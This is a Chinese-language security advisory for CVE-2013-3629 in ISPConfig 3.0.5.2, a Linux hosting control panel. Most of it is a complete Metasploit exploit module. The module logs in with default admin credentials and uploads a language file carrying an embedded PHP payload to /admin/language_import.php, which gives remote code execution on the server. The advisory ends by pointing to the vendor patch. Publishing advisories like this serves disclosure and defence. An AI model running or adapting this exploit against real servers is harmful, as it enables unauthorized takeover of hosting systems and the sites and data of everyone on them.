发布日期：2013-10-30
更新日期：2013-10-30

受影响系统：

ispconfig ispconfig 3.0.5.2

描述：

---

BUGTRAQ  ID: 63455
CVE(CAN) ID: CVE-2013-3629

ISPConfig是开源的、BSD许可的、Linux主机控制面板，用于管理Apache、BIND、FTP及数据库，支持许多Linux发行版。

ISPConfig 3.0.5.2版本的 /content.php 脚本解析语言文件时会触发任意PHP代码执行漏洞，导致覆盖系统上之前的语言文件，在Web服务器上下文中执行任意PHP代码。

<*来源：Brandon Perry
  
  链接：http://osvdb.org/show/osvdb/99146
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
      'Description' => %q{
      ISPConfig allows an authenticated administrator to export language settings into a PHP script
      which is intended to be reuploaded later to restore language settings. This feature
      can be abused to run aribtrary PHP code remotely on the ISPConfig server.

      This module was tested against version 3.0.5.2.
      },
      'Author' =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2013-3629'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Payload'    =>
        {
          'BadChars' => "&\n=+%",
        },
      'Targets' =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))
      register_options(
      [
        OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
        OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
      ], self.class)
  end

  def check
  end

  def lng
    datastore['LANGUAGE']
  end

  def exploit

    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php')
    })

    if !init or init.code != 200
      fail_with("Error getting initial page.")
    end

    sess = init.get_cookies

    post = {
      'username' => datastore["USERNAME"],
      'passwort' => datastore["PASSWORD"],
      's_mod' => 'login',
      's_pg' => 'index'
    }

    print_status("Authenticating as user: " << datastore["USERNAME"])

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/content.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    if !login or login.code != 200
      fail_with("Error authenticating.")
    end

    sess = login.get_cookies
    fname = rand_text_alphanumeric(rand(10)+6) + '.lng'
    php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
    php << "--|global|#{lng}|#{lng}.lng\n"
    php << "<?php \n"
    php << payload.encoded
    php << "?>\n"
    php << "--|mail|#{lng}|#{lng}.lng\n"
    php << "<?php"
    php << "?>"

    data = Rex::MIME::Message.new
    data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"")
    data.add_part('1', nil, nil, 'form-data; name="overwrite"')
    data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
    data.add_part('', nil, nil, 'form-data; name="id"')

    data_post = data.to_s

    print_status("Sending payload")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data_post,
      'cookie' => sess
    })

    post = {
      'lng_select' => 'es'
    }

    print_status("Triggering payload...")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
      'vars_post' => post,
      'cookie' => sess
    })
  end
end

建议：

---

厂商补丁：

ispconfig
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.ispconfig.org/page/home.html

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